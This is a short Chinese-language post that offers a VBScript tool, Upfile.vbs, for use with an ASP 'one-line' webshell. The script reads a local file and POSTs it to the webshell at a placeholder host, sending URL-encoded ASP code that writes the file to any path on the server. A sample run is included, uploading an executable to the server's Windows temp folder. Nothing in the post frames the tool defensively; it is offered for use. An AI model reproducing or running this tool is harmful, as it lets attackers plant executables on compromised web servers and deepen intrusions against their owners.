[推荐]一句话木马用Upfile.vbs脚本

wITh wscript  
if .arguments.count<2 then .quIT  
ffn=replace(.arguments(1),"\","%5C"):ffn=replace(ffn,":","%3A"):ffn=replace(ffn,"~","%7E")  
url= "http://www.xxxx.com/a.asp?a=with+server.createobject%28%22adodb.stream%22%29%0D%0A.type%3D1%0D%0A.open%0D%0A.write+request.binaryread%28request.totalbytes%29%0D%0A.savetofile+%22"&ffn&"%22%2C2%0D%0Aend+wITh%0D%0AResponse.end"  
fn=.arguments(0)  
end wITh  
wITh createobject("adodb.stream")  
.type=1:.open:.loadfromfile fn:s=.read:.close  
end wITh  
wITh createobject("microsoft.xmlhttp")  
.open "post",url,false:.send s  
wscript.echo .statustext  
end wITh  

F:\tools\upfile>cscript upfile.vbs f:\tools\xtime.exe c:\windows\temp\xtime.exe
Microsoft (R) Windows Script Host Version 5.6
版权所有(C) Microsoft Corporation 1996-2001。保留所有权利。

OK